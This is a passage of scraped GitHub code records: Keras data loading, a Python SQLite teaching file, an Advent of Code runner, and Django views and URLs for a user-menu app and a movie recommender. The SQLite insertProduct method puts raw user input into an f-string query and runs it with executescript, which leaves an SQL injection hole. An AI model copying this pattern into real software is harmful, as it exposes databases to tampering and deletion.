data_generator.flow_from_dataframe(\n dataframe=train_df,\n directory=None,\n x_col='file_path',\n y_col='class',\n has_ext=False,\n subset=\"training\",\n batch_size=args.batch_size,\n seed=42,\n shuffle=True,\n class_mode='categorical',\n target_size=(args.IMG_HEIGHT, args.IMG_WIDTH))\n\n # validation data\n self.validation_generator = data_generator.flow_from_dataframe(\n dataframe=train_df,\n directory=None,\n x_col='file_path',\n y_col='class',\n has_ext=False,\n subset=\"validation\",\n batch_size=args.batch_size,\n seed=42,\n shuffle=True,\n class_mode='categorical',\n target_size=(args.IMG_HEIGHT, args.IMG_WIDTH))\n\n# next information is not necessary for our project\n# def load_data(self, folder):\n# X = [] # Images go here\n# y = [] # Class labels go here\n# classes = [] # All class names go here\n\n# subdirectories = glob.glob(folder + \"/*\")\n\n# Loop over all folders\n# for d in subdirectories:\n\n# Find all files from this folder\n# files = glob.glob(d + os.sep + \"*.jpg\")\n\n# Load all files\n# for name in files:\n\n# Load image and parse class name\n# img = imread(name)\n# class_name = name.split(os.sep)[-2]\n\n# Convert class names to integer indices:\n# if class_name not in classes:\n# classes.append(class_name)\n\n# class_idx = classes.index(class_name)\n\n# X.append(img)\n# y.append(class_idx)\n\n# Convert python lists to contiguous numpy arrays\n# np.warnings.filterwarnings('ignore', category=np.VisibleDeprecationWarning)\n# X = np.array(X)\n# y = np.array(y)\n# classes = np.array(classes)\n\n# return X, y, classes\n\n# def resize_test_data(self):\n# root = '../data/raw/vehicle/test/testset/'\n# new_path = '../data/raw/vehicle/test/scaled_test/'\n# os.mkdir(new_path)\n# i = 0\n# for file in sorted(os.listdir(root)):\n# img = imread(root + file)\n# res = resize(img, (200, 200))\n# imsave(new_path + os.sep + file, img_as_float(res))\n# i = i + 1\n# print(str(i) + ' images out of ' + str(len(os.listdir(root))) + ' processed')\n\n# print('Successfully resized')\n\n# def resize_train_data(self):\n# root = '../data/raw/vehicle/train/train/'\n# new_path = '../data/raw/vehicle/train/scaled_train/'\n# os.mkdir(new_path)\n# i = 0\n# Rescale all files in each subdirectory\n# for category in sorted(os.listdir(root)):\n# os.mkdir(new_path + category)\n# for file in sorted(os.listdir(os.path.join(root, category))):\n# img = imread(root + category + os.sep + file)\n# res = resize(img, (200, 200))\n# imsave(new_path + os.sep + category + os.sep + file, img_as_float(res))\n# i = i + 1\n# print(str(i) + ' images processed')\n\n# print('Successfully resized')\n", "repo_name": "ChristianJavierMelo/Vehicle-Type-Recognition", "sub_path": "p_acquisition/m_acquisition.py", "file_name": "m_acquisition.py", "file_ext": "py", "file_size_in_byte": 4710, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "78", "api": [{"api_name": "numpy.warnings.filterwarnings", "line_number": 15, "usage_type": "call"}, {"api_name": "numpy.warnings", "line_number": 15, "usage_type": "attribute"}, {"api_name": "numpy.VisibleDeprecationWarning", "line_number": 15, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 22, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 23, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 23, "usage_type": "call"}, {"api_name": "os.path", "line_number": 23, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 24, "usage_type": "call"}, {"api_name": "os.path", "line_number": 24, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 26, "usage_type": "call"}, {"api_name": "streamlit.dataframe", "line_number": 27, "usage_type": "call"}, {"api_name": "pandas_profiling.ProfileReport", "line_number": 28, "usage_type": "call"}, {"api_name": "streamlit.button", "line_number": 29, "usage_type": "call"}, {"api_name": "streamlit_pandas_profiling.st_profile_report", "line_number": 30, "usage_type": "call"}, {"api_name": "tensorflow.keras.preprocessing.image.ImageDataGenerator", "line_number": 33, "usage_type": "call"}]} {"seq_id": "9517243505", "text": "import sqlite3\n\nclass SqlDal:\n\n def __init__(self,connectionString):\n self.connectionString = connectionString\n\n def getConnection(self):\n self.connection = sqlite3.connect('Products.db')\n # InnerFunction kullanılabilir.\n def getProducts(self):\n self.getConnection()\n cursor = self.connection.cursor()\n result = cursor.execute('select * from products')\n for i in result:\n print(i)\n self.connection.close()\n\n def insertProduct(self, name, price):\n self.getConnection()\n cursor = self.connection.cursor()\n\n query = f\"insert into products (name, price) values ('{name}',{price});\"\n #cursor.execute(query)\n cursor.executescript(query)\n\n self.connection.close()\n\n\n\nsqlDal = SqlDal('')\nname = input('Enter a product name: ')\nprice = float(input('Enter your product price: '))\nsqlDal.insertProduct(name, price)\nsqlDal.getProducts()\n", "repo_name": "KaanKizildag/PythonEgitim", "sub_path": "Database/SqliteConnection.py", "file_name": "SqliteConnection.py", "file_ext": "py", "file_size_in_byte": 943, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "sqlite3.connect", "line_number": 9, "usage_type": "call"}]} {"seq_id": "6161299029", "text": "\"\"\"\"\"\"\nfrom typing import List\nfrom pathlib import Path\n\nimport advent_processing\nfrom advent_processing import Day, Day1\n\ndef available_days():\n \"\"\"\n Let's do some ugly hacks just once\n \"\"\"\n\n namespace_entries = dir(advent_processing)\n\n # get all Day implementations\n days = [entry for entry in namespace_entries if entry.startswith('Day')]\n\n # filter base class Day\n days = [day for day in days if len(day) > 3]\n\n return days\n\ndef run_day(day_name: str, input_file_path: str):\n \"\"\"\n Dynamically import the argument classes\n \"\"\"\n try:\n DayClass = getattr(advent_processing, day_name)\n except AttributeError:\n raise RuntimeError(\"Trying to load an unavailable day: {}\".format(day_name))\n\n # get the input file \n input_file = Path(input_file_path)\n if not input_file.exists():\n raise OSError(f\"No required input: {input_file} for processing day: {day_name}\")\n\n day: Day = DayClass()\n\n print(f\"Processing day: {day_name}\")\n day.process(str(input_file))\n\ndef run_all(days: List[str]):\n \"\"\"Just a simple helper\n \n Try to load the input files from 'inputs' directory\n \"\"\"\n\n input_dir = Path(__file__).parent.parent.parent / 'inputs'\n\n for day in days:\n input_file = input_dir / (day.lower() + '.txt')\n run_day(day, str(input_file))\n\n\ndef main():\n \"\"\"An entry point\"\"\"\n\n import argparse\n parser = argparse.ArgumentParser()\n parser.add_argument('--run', required=True, help=\"Which day to run, specify either 'all' or 'day'\")\n parser.add_argument('--input', help=\"Path to the input file to use for a single day.'\")\n\n args = parser.parse_args()\n\n all_days = available_days()\n if args.run == 'all':\n run_all(all_days)\n return\n\n if args.run not in all_days:\n raise RuntimeError(\"You tried to run an unavailable day {}, available days are: {}\".format(args.run, all_days))\n\n if not args.input:\n print(\"Give the input file as argument when processing single day\")\n return\n run_day(args.run, args.input)\n\n\nif __name__ == \"__main__\":\n main()\n \n\n ", "repo_name": "miikama/advent-of-code", "sub_path": "src/advent_of_code/processing.py", "file_name": "processing.py", "file_ext": "py", "file_size_in_byte": 2137, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pathlib.Path", "line_number": 33, "usage_type": "call"}, {"api_name": "advent_processing.Day", "line_number": 37, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 42, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 48, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 59, "usage_type": "call"}]} {"seq_id": "22660580942", "text": "from django.urls import path\nfrom rango import views\n\napp_name = 'rango'\n\nurlpatterns = [\n #views to main pages\n path('', views.index, name='index'),\n path('register/', views.register, name='register'),\n path('login/', views.user_login, name='login'),\n path('logout/', views.user_logout, name='logout'),\n path('enquire/', views.enquire, name='enquire'),\n path('privacy/', views.privacy, name='privacy'),\n path('terms/', views.terms, name='terms'),\n path('sellers/', views.sellers, name='sellers'),\n path('search/', views.search, name='search'),\n #path to any seller/car according to its slug\n path('show_seller//',\n views.show_seller, name='show_seller'),\n path('add_car//', views.add_car, name='add_car'),\n path('buying/', views.buying, name='buying'),\n \n]", "repo_name": "forsthenebriss/buyacar", "sub_path": "rango/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 850, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "rango.views.index", "line_number": 8, "usage_type": "attribute"}, {"api_name": "rango.views", "line_number": 8, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}, {"api_name": "rango.views.register", "line_number": 9, "usage_type": "attribute"}, {"api_name": "rango.views", "line_number": 9, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}, {"api_name": "rango.views.user_login", "line_number": 10, "usage_type": "attribute"}, {"api_name": "rango.views", "line_number": 10, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 11, "usage_type": "call"}, {"api_name": "rango.views.user_logout", "line_number": 11, "usage_type": "attribute"}, {"api_name": "rango.views", "line_number": 11, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 12, "usage_type": "call"}, {"api_name": "rango.views.enquire", "line_number": 12, "usage_type": "attribute"}, {"api_name": "rango.views", "line_number": 12, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 13, "usage_type": "call"}, {"api_name": "rango.views.privacy", "line_number": 13, "usage_type": "attribute"}, {"api_name": "rango.views", "line_number": 13, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 14, "usage_type": "call"}, {"api_name": "rango.views.terms", "line_number": 14, "usage_type": "attribute"}, {"api_name": "rango.views", "line_number": 14, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 15, "usage_type": "call"}, {"api_name": "rango.views.sellers", "line_number": 15, "usage_type": "attribute"}, {"api_name": "rango.views", "line_number": 15, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 16, "usage_type": "call"}, {"api_name": "rango.views.search", "line_number": 16, "usage_type": "attribute"}, {"api_name": "rango.views", "line_number": 16, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 18, "usage_type": "call"}, {"api_name": "rango.views.show_seller", "line_number": 19, "usage_type": "attribute"}, {"api_name": "rango.views", "line_number": 19, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 20, "usage_type": "call"}, {"api_name": "rango.views.add_car", "line_number": 20, "usage_type": "attribute"}, {"api_name": "rango.views", "line_number": 20, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 21, "usage_type": "call"}, {"api_name": "rango.views.buying", "line_number": 21, "usage_type": "attribute"}, {"api_name": "rango.views", "line_number": 21, "usage_type": "name"}]} {"seq_id": "41426405550", "text": "from django.shortcuts import render\n\nfrom .models import User\n\nfrom django.urls import reverse_lazy\nfrom django.views.generic import (\n TemplateView,\n CreateView,\n ListView,\n DeleteView,\n UpdateView,\n)\n\nfrom .models import (\n User,\n UserMenu\n)\nfrom .forms import BaseUserForm\n\nfrom rest_framework.generics import (\n CreateAPIView,\n ListAPIView\n)\n\nfrom .serializers import (\n UserMenuSerializer,\n UserAuth\n)\n\nfrom rest_framework.response import Response\nfrom rest_framework import status\n\nimport re\n\nclass CreateUserView(CreateView):\n \n template_name = 'users/add.html'\n model = User\n form_class = BaseUserForm\n \n success_url = reverse_lazy('user_app:home')\n \nclass ListUserView(ListView):\n\n template_name = 'users/users.html'\n model = User\n context_object_name = 'users'\n \nclass UserDeleteView(DeleteView):\n \n template_name = \"users/delete.html\"\n model = User\n success_url = reverse_lazy('user_app:home')\n\n\nclass UpdateUserView(UpdateView):\n template_name = \"users/update.html\"\n model = User\n form_class = BaseUserForm\n success_url = reverse_lazy('user_app:home')\n \nclass CreateUserMenuAPIView(CreateAPIView):\n \n serializer_class = UserMenuSerializer\n \n def create(self, request, *args, **kwargs):\n \n serializer = self.get_serializer(data=request.data)\n \n if serializer.is_valid():\n serializer.save()\n response = {}\n response['success'] = True\n response['message'] = \"Registro guardado exitosamente\"\n response['status'] = status.HTTP_201_CREATED\n \n return Response(response,status=status.HTTP_201_CREATED)\n \n return Response(serializer.data, status=status.HTTP_201_CREATED) \n \nclass HomeView(TemplateView):\n \n template_name = 'users/login.html'\n \nclass SelectedMenuListView(TemplateView):\n \n template_name = 'users/selected_menu.html'\n \nclass AuthUserAPIView(ListAPIView):\n \n serializer_class = UserAuth\n \n def get_queryset(self):\n \n mail = self.request.GET.get('mail','')\n return User.objects.filter(\n mail=mail\n )\n \nclass ListUserMenuAPIView(ListAPIView):\n \n serializer_class = UserMenuSerializer\n \n def get_queryset(self):\n \n user = self.request.GET.get('user','')\n if not user or re.match(r'[0,9]',user):\n return []\n \n userModel = User.objects.filter(id=user).values('profile')\n userProfile = userModel[0]['profile']\n if userProfile == '0':\n return UserMenu.objects.all()\n else:\n return UserMenu.objects.filter(user=user)", "repo_name": "OscarJara/nora-menu", "sub_path": "applications/users/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 2738, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.views.generic.CreateView", "line_number": 35, "usage_type": "name"}, {"api_name": "models.User", "line_number": 38, "usage_type": "name"}, {"api_name": "forms.BaseUserForm", "line_number": 39, "usage_type": "name"}, {"api_name": "django.urls.reverse_lazy", "line_number": 41, "usage_type": "call"}, {"api_name": "django.views.generic.ListView", "line_number": 43, "usage_type": "name"}, {"api_name": "models.User", "line_number": 46, "usage_type": "name"}, {"api_name": "django.views.generic.DeleteView", "line_number": 49, "usage_type": "name"}, {"api_name": "models.User", "line_number": 52, "usage_type": "name"}, {"api_name": "django.urls.reverse_lazy", "line_number": 53, "usage_type": "call"}, {"api_name": "django.views.generic.UpdateView", "line_number": 56, "usage_type": "name"}, {"api_name": "models.User", "line_number": 58, "usage_type": "name"}, {"api_name": "forms.BaseUserForm", "line_number": 59, "usage_type": "name"}, {"api_name": "django.urls.reverse_lazy", "line_number": 60, "usage_type": "call"}, {"api_name": "rest_framework.generics.CreateAPIView", "line_number": 62, "usage_type": "name"}, {"api_name": "serializers.UserMenuSerializer", "line_number": 64, "usage_type": "name"}, {"api_name": "rest_framework.status.HTTP_201_CREATED", "line_number": 75, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 75, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 77, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_201_CREATED", "line_number": 77, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 77, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 79, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_201_CREATED", "line_number": 79, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 79, "usage_type": "name"}, {"api_name": "django.views.generic.TemplateView", "line_number": 81, "usage_type": "name"}, {"api_name": "django.views.generic.TemplateView", "line_number": 85, "usage_type": "name"}, {"api_name": "rest_framework.generics.ListAPIView", "line_number": 89, "usage_type": "name"}, {"api_name": "serializers.UserAuth", "line_number": 91, "usage_type": "name"}, {"api_name": "models.User.objects.filter", "line_number": 96, "usage_type": "call"}, {"api_name": "models.User.objects", "line_number": 96, "usage_type": "attribute"}, {"api_name": "models.User", "line_number": 96, "usage_type": "name"}, {"api_name": "rest_framework.generics.ListAPIView", "line_number": 100, "usage_type": "name"}, {"api_name": "serializers.UserMenuSerializer", "line_number": 102, "usage_type": "name"}, {"api_name": "re.match", "line_number": 107, "usage_type": "call"}, {"api_name": "models.User.objects.filter", "line_number": 110, "usage_type": "call"}, {"api_name": "models.User.objects", "line_number": 110, "usage_type": "attribute"}, {"api_name": "models.User", "line_number": 110, "usage_type": "name"}, {"api_name": "models.UserMenu.objects.all", "line_number": 113, "usage_type": "call"}, {"api_name": "models.UserMenu.objects", "line_number": 113, "usage_type": "attribute"}, {"api_name": "models.UserMenu", "line_number": 113, "usage_type": "name"}, {"api_name": "models.UserMenu.objects.filter", "line_number": 115, "usage_type": "call"}, {"api_name": "models.UserMenu.objects", "line_number": 115, "usage_type": "attribute"}, {"api_name": "models.UserMenu", "line_number": 115, "usage_type": "name"}]} {"seq_id": "39472782007", "text": "# import necessary libraries\nimport random\n\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth.models import User\nfrom django.http import Http404\nfrom django.shortcuts import render, redirect\nimport numpy as np\nimport pandas as pd\n# Models\nfrom pandas import DataFrame\n\nfrom movies.models import Movies\nfrom rating.models import Rating\nfrom scipy.sparse import csr_matrix\nfrom sklearn.metrics.pairwise import cosine_similarity\n# libraries used for KNN implementation\nfrom sklearn.neighbors import NearestNeighbors, KNeighborsClassifier\nfrom fuzzywuzzy import process\nfrom users.models import CustomUser\n\n# Content-Based Recommendation (Description Only) Term Frequency-Inverse Document Frequency Vectorizer\nfrom sklearn.feature_extraction.text import TfidfVectorizer\n# Content-Based Recommendation Linear Kernel for Cosine Similarity\nfrom sklearn.metrics.pairwise import linear_kernel\n# Content-Based Recommendation Parsing the stringified features into their corresponding python objects\nfrom ast import literal_eval\n# Content-Based Recommendation CountVectorizer for Creation of the Count Matrix\nfrom sklearn.feature_extraction.text import CountVectorizer\n# Content-Based Recommendation Computation of the Cosine Similarity Matrix Based\nfrom sklearn.metrics.pairwise import cosine_similarity\nfrom django.db.models import Q\nfrom sklearn.model_selection import train_test_split\nfrom sklearn import metrics\n\n\ndef recommend(request):\n if not request.user.is_authenticated:\n return redirect(\"login\")\n if not request.user.is_active:\n raise Http404\n\n\n@login_required\ndef knn(request, movie_title):\n data_frame_of_rating_records = pd.DataFrame.from_records(\n Rating.objects.all().values_list('user_id', 'movie_id', 'rating'),\n columns=['user_id', 'movie_id', 'rating'])\n\n is_duplicated = np.where(data_frame_of_rating_records.index.duplicated())\n num_users = len(data_frame_of_rating_records.user_id.unique())\n num_items = len(data_frame_of_rating_records.movie_id.unique())\n\n df_ratings_cnt_tmp = pd.DataFrame(data_frame_of_rating_records.groupby('rating').size(), columns=['count'])\n total_cnt = num_users * num_items\n rating_zero_cnt = total_cnt - data_frame_of_rating_records.shape[0]\n full_df_cnt = df_ratings_cnt_tmp.append(\n pd.DataFrame({'count': rating_zero_cnt}, index=[0.0]),\n verify_integrity=True,\n ).sort_index()\n\n full_df_cnt['log_count'] = np.log(full_df_cnt['count'])\n\n full_df_movies_cnt = pd.DataFrame(data_frame_of_rating_records.groupby('movie_id').size(), columns=['count'])\n\n movies_users = data_frame_of_rating_records.reset_index().pivot_table(index='movie_id', columns='user_id',\n values='rating').fillna(0)\n mat_movies_users = csr_matrix(movies_users.values)\n model_knn = NearestNeighbors(metric='cosine', algorithm='brute', n_neighbors=20, n_jobs=-1)\n model_knn.fit(mat_movies_users)\n\n movie_list_recommended_knn = recommenderKNN(movie_title, mat_movies_users, model_knn, 20)\n movie_list_not_parsed = str(movie_list_recommended_knn)\n movie_list_parsed = movie_list_not_parsed.split('\\n')\n del movie_list_parsed[0]\n id_list_of_recommended_movies = []\n for movie in movie_list_parsed:\n split_movies = movie.split(\" \", 1)\n title = split_movies[1].strip()\n if split_movies[0] != \"Name:\":\n converted_num = int(split_movies[0]) + 1\n id_list_of_recommended_movies.append(str(converted_num))\n\n movies = Movies.objects.all()\n recommend_knn_list = []\n for i in id_list_of_recommended_movies:\n for movie in movies:\n if movie.pk == int(i):\n recommend_knn_list.append(movie)\n return recommend_knn_list\n\n\ndef recommenderKNN(movie_name, data, model, n_recommendations):\n data_frame_of_movie_records = pd.DataFrame.from_records(\n Movies.objects.all().values_list('movie_id', 'movie_title', 'imdb_url', 'decade', 'genres', 'avg_rating',\n 'poster', 'cast', 'director', 'description', 'keyword'),\n columns=['movie_id', 'movie_title', 'imdb_url', 'decade', 'genres', 'avg_rating', 'poster', 'cast', 'director',\n 'description', 'keyword'])\n model.fit(data)\n idx = process.extractOne(movie_name, data_frame_of_movie_records['movie_title'])[2]\n distances, indices = model.kneighbors(data[idx], n_neighbors=n_recommendations)\n movie_list = []\n for i in indices:\n movie_list.append((data_frame_of_movie_records['movie_title'][i].where(i != idx)))\n return movie_list\n\n\ndef train_test_knn(request):\n data_frame_of_rating_records = pd.DataFrame.from_records(\n Rating.objects.all().values_list('user_id', 'movie_id', 'rating'),\n columns=['user_id', 'movie_id', 'rating'])\n # splited_list = [i.split(',') for i in data_frame_of_rating_records]\n X = data_frame_of_rating_records.drop('rating', axis=1)\n y = data_frame_of_rating_records['rating']\n X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.10, random_state=1)\n movies_users = data_frame_of_rating_records.reset_index().pivot_table(index='movie_id', columns='user_id',\n values='rating').fillna(0)\n mat_movies_users = csr_matrix(movies_users.values)\n model_knn = KNeighborsClassifier(metric='cosine', algorithm='brute', n_neighbors=20, n_jobs=-1)\n model_knn.fit(X_train, y_train)\n y_pred = model_knn.predict(X_test)\n # converted_list = [int(''.join(i)) for i in splited_list]\n # X = data_frame_of_rating_records.iloc[:, :2]\n # y = data_frame_of_rating_records.iloc[:, 2]\n # X = data_frame_of_rating_records.drop('rating', axis=1)\n # y = data_frame_of_rating_records['rating']\n # X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.10, random_state=1)\n # model_knn = KNeighborsClassifier(metric='cosine', algorithm='brute', n_neighbors=20, n_jobs=-1)\n # model_knn.fit(X_train, y_train)\n # y_pred = model_knn.predict(X_test)\n\n print(\"Precision : \", metrics.precision_score(y_test, y_pred, average='weighted'))\n print(\"Accuracy : \", metrics.accuracy_score(y_test, y_pred))\n print(\"Recall : \", metrics.recall_score(y_test, y_pred, average='macro'))\n print(\"F1 Score : \", metrics.f1_score(y_test, y_pred, average='weighted'))\n accuracy = metrics.accuracy_score(y_test, y_pred)\n context = {\n 'accuracy': accuracy\n }\n template = 'recommender/recommendation.html'\n return render(request, template, context)\n\n\n# A function to predict the rating a user would give to a movie (which he has not rated yet) based on the weighted\n# average of all other users (weighted because users who are more similar to a user x will be given more weight than the\n# users who are not so similar to user x)\ndef predict_fast_simple(rating, similarity, kind='user'):\n #\n return similarity.dot(rating) / np.array([np.abs(similarity).sum(axis=1)]).T\n # elif kind == 'item':\n # return rating.dot(similarity) / np.array([np.abs(similarity).sum(axis=1)])\n\n\n\"\"\"\ndef train_test_split(ratings):\n test = np.zeros(ratings.shape) # dim(test) = (943, 1682)\n train = ratings.copy() # dim(train) = (943, 1682)\n\n # for each user\n for user in range(ratings.shape[0]): # loop from 0 to (943 - 1)\n\n # Select the indices of 10 MovieIDs which have been rated by the user (nonzero rating)\n test_ratings = np.random.choice(ratings[user, :].nonzero()[0], size=10, replace=False)\n\n # In the train set, fill those indices with 0 (since we have to predict these and then compare with the test\n # set)\n train[user, test_ratings] = 0.\n\n # In the test set, fill those indices with the rating given by the user (this will be our actual value which\n # will be compared to the predicted value)\n test[user, test_ratings] = ratings[user, test_ratings]\n\n # Ensure that test and train sets are truly disjoint\n assert (np.all((train * test) == 0))\n return train, test\n\n\"\"\"\n\n\n# A function to split the data into train set and test set (to be used to calculate the accuracy of our model)\ndef recommend_user_based(UserID):\n data_frame_movie_records = pd.DataFrame.from_records(\n Movies.objects.all().values_list('movie_id', 'movie_title', 'imdb_url', 'decade', 'genres', 'avg_rating',\n 'poster', 'cast', 'director', 'description', 'keyword'),\n columns=['movie_id', 'movie_title', 'imdb_url', 'decade', 'genres', 'avg_rating', 'poster', 'cast',\n 'director',\n 'description', 'keyword'])\n\n\n data_frame_rating_records = pd.DataFrame.from_records(\n Rating.objects.all().values_list('user_id', 'movie_id', 'rating'),\n columns=['user_id', 'movie_id', 'rating'])\n\n # Create a pivot table with UserID as rows and MovieID as columns and each cell (x, y) represents the rating\n # given by a user x to a movie y.\n df_new = data_frame_rating_records.pivot_table(index='user_id', columns='movie_id', values='rating').fillna(\n 0)\n\n # Convert the pivot table to an array\n ratings = np.array(df_new)\n\n # Get a sparse matrix which only consists of the non zero data (this is done to avoid unnecessary processing)\n matrix = csr_matrix(df_new.values)\n\n # Calculate the similarity between each user using the cosine similarity matrix\n cosine_sim = cosine_similarity(matrix, matrix) # dim(cosine_sim) = (943, 943),\n \"\"\"\n # Split the data\n train, test = train_test_split(ratings)\n\n # Calculate cosine similarity for the train set\n train_cosine_sim = cosine_similarity(train, train)\n\n # Make prediction on the train set\n user_prediction = predict_fast_simple(train, train_cosine_sim, 'user')\n \"\"\"\n\n # Now make predictions using the actual DataSet\n dff = pd.DataFrame(predict_fast_simple(ratings, cosine_sim, 'user'))\n\n dff.columns += 1\n dff.index += 1\n dff.index.rename('UserID', inplace=True)\n\n result = {}\n for j in df_new.columns:\n if df_new.iloc[UserID - 1][j] == 0 and dff.iloc[UserID - 1][j] != 0:\n # The dictionary result contains keys as the movies which were not initially rated by the user (whose values\n # we predicted) and values as the corresponding predicted rating\n result.__setitem__(j, dff.iloc[UserID - 1][j])\n\n # Sort the dictionary wrt to values i.e. in decreasing order of the predicted ratings\n h = sorted(result.items(), key=lambda x: x[1], reverse=True)\n\n # Consider only the top 5 movies with the highest predicted ratings\n h = h[:5]\n\n # Take the MovieIDs of the top 5 movies\n result1 = [i[0] for i in h]\n # print(type(result1))\n print(result1)\n print(data_frame_movie_records['movie_title'].iloc[result1].drop_duplicates())\n\n # Return the Name of the movies\n print(type(data_frame_movie_records.iloc[result1][['movie_id', 'movie_title']]))\n return data_frame_movie_records.iloc[result1][['movie_id', 'movie_title']]\n\n\n\ndef recommendation_user_profile(request):\n data_frame_movie_records = pd.DataFrame.from_records(\n Movies.objects.all().values_list('movie_id', 'movie_title', 'imdb_url', 'decade', 'genres', 'avg_rating',\n 'poster', 'cast', 'director', 'description', 'keyword'),\n columns=['movie_id', 'movie_title', 'imdb_url', 'decade', 'genres', 'avg_rating', 'poster',\n 'cast', 'director', 'description', 'keyword'])\n\n data_frame_rating_records = pd.DataFrame.from_records(\n Rating.objects.all().values_list('user_id', 'movie_id', 'rating'),\n columns=['user_id', 'movie_id', 'rating'])\n\n pd_rating_movie = pd.merge(data_frame_movie_records, data_frame_rating_records, on=\"movie_id\")\n\n data_frame_custom_user = pd.DataFrame.from_records(\n CustomUser.objects.all().values_list('user', 'pro_id', 'age', 'gender', 'occupation'),\n columns=['user_id', 'pro_id', 'age', 'gender', 'occupation'])\n\n pd_rating_movie_user = pd.merge(pd_rating_movie, data_frame_custom_user, on=\"user_id\", how='left')\n #pd_rating_movie_user.to_csv(r'ratingmovieuser.csv', index=False)\n current_user = User.objects.get(username=request.user.username)\n custom_user = CustomUser.objects.get(user=current_user)\n custom_user_age = int(custom_user.age)\n custom_user_gender = custom_user.gender.upper()\n custom_user_occupation = custom_user.occupation.lower()\n movie_list = []\n if (custom_user_age <= 19) and custom_user_age >= 10:\n if custom_user_gender == 'M':\n movie_list = pd_rating_movie_user.loc[\n (pd_rating_movie_user['age'] <= '19') & (pd_rating_movie_user['age'] >= '10') & (\n pd_rating_movie_user['gender'] == 'M') & (pd_rating_movie_user['rating'] > 3)]\n movies = movie_list['movie_id'].unique()\n movies_random = (random.choices(movies, k=5))\n elif custom_user.gender == 'F':\n movie_list = pd_rating_movie_user.loc[\n (pd_rating_movie_user['age'] <= '19') & (pd_rating_movie_user['age'] >= '10') & (\n pd_rating_movie_user['gender'] == 'F') & (pd_rating_movie_user['rating'] > 3)]\n movies = movie_list['movie_id'].unique()\n movies_random = (random.choices(movies, k=5))\n else:\n movie_list = pd_rating_movie_user.loc[\n (pd_rating_movie_user['age'] <= '19') & (pd_rating_movie_user['age'] >= '10') & (\n pd_rating_movie_user['gender'] == 'F') & (pd_rating_movie_user['rating'] > 3)]\n movies = movie_list['movie_id'].unique()\n movies_random = (random.choices(movies, k=5))\n elif (custom_user_age <= 29) and custom_user_age >= 20:\n if custom_user_gender == 'M':\n movie_list = pd_rating_movie_user.loc[\n (pd_rating_movie_user['age'] <= '29') & (pd_rating_movie_user['age'] >= '20') & (\n pd_rating_movie_user['gender'] == 'M') & (pd_rating_movie_user['rating'] > 3)]\n movies = movie_list['movie_id'].unique()\n movies_random = (random.choices(movies, k=5))\n elif custom_user.gender == 'F':\n movie_list = pd_rating_movie_user.loc[\n (pd_rating_movie_user['age'] <= '29') & (pd_rating_movie_user['age'] >= '20') & (\n pd_rating_movie_user['gender'] == 'F') & (pd_rating_movie_user['rating'] > 3)]\n movies = movie_list['movie_id'].unique()\n movies_random = (random.choices(movies, k=5))\n else:\n movie_list = pd_rating_movie_user.loc[\n (pd_rating_movie_user['age'] <= '29') & (pd_rating_movie_user['age'] >= '20') & (\n pd_rating_movie_user['gender'] == 'F') & (pd_rating_movie_user['rating'] > 3)]\n movies = movie_list['movie_id'].unique()\n movies_random = (random.choices(movies, k=5))\n elif (custom_user_age <= 39) and custom_user_age >= 30:\n if custom_user_gender == 'M':\n movie_list = pd_rating_movie_user.loc[\n (pd_rating_movie_user['age'] <= '39') & (pd_rating_movie_user['age'] >= '30') & (\n pd_rating_movie_user['gender'] == 'M') & (pd_rating_movie_user['rating'] > 3)]\n movies = movie_list['movie_id'].unique()\n movies_random = (random.choices(movies, k=5))\n elif custom_user.gender == 'F':\n movie_list = pd_rating_movie_user.loc[\n (pd_rating_movie_user['age'] <= '39') & (pd_rating_movie_user['age'] >= '30') & (\n pd_rating_movie_user['gender'] == 'F') & (pd_rating_movie_user['rating'] > 3)]\n movies = movie_list['movie_id'].unique()\n movies_random = (random.choices(movies, k=5))\n else:\n movie_list = pd_rating_movie_user.loc[\n (pd_rating_movie_user['age'] <= '39') & (pd_rating_movie_user['age'] >= '30') & (\n pd_rating_movie_user['gender'] == 'F') & (pd_rating_movie_user['rating'] > 3)]\n movies = movie_list['movie_id'].unique()\n movies_random = (random.choices(movies, k=5))\n elif (custom_user_age <= 49) and custom_user_age >= 40:\n if custom_user_gender == 'M':\n movie_list = pd_rating_movie_user.loc[\n 